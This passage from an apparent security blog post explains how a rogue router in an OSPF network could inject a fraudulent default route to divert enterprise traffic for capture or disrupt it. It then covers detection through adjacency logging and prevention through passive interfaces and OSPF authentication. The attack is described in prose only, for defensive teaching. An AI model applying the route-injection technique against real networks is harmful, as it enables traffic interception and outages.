If we’ve got to this point, we are in a position not only to conduct reconnaissance, but we could also start injecting routes into their routing table or manipulate the prefixes already present in an effort to redirect traffic to us (or to a blackhole). Originating a default route is always fun, since it will take precedence over legitimate static default routes that have been redistributed into OSPF (redistributed routes are “External” in OSPF terminology, and are less preferable to “internal” routes such as our fraudulent default). If we had a working default route of our own, this approach could potentially redirect Internet traffic for the entire enterprise through our Quagga node where we can capture it. Either that or you’ll bring the network to a screaming halt.

Anyway, it’s all moot, since we’re nice pirates and would never consider doing anything like that!

Privateers off the starboard bow, Cap’n!

How can we detect such naughtiness, and even better, prevent it?

The first step is to use the OSPF command ‘log-adjacency-changes’ on all the enterprise’s OSPF routers. This will leave log messages like this:

Nov 23 15:11:24.666 UTC: %OSPF-5-ADJCHG: Process 2, Nbr on Gi­gabitEthernet0/0.2 from LOADING to FULL, Loading Done

Keeping track of adjacency changes is an excellent idea – it’s a metric of the stability of the network, and also offers clues when rogue devices form adjacencies.

Stopping rogue adjacencies altogether can be accomplished in two ways. The first is to make OSPF interfaces on host-only subnets “passive“, which permits them to participate in OSPF without allowing adjacencies to form.

The second method is to use OSPF authentication, whereby a hash of a preshared key is required before an adjacency can be established. Either method is strongly recommended!

As always, keep yer eyes to the horizon, mateys! 🙂

Alec Waters is responsible for all things security at Dataline Software, and can be emailed at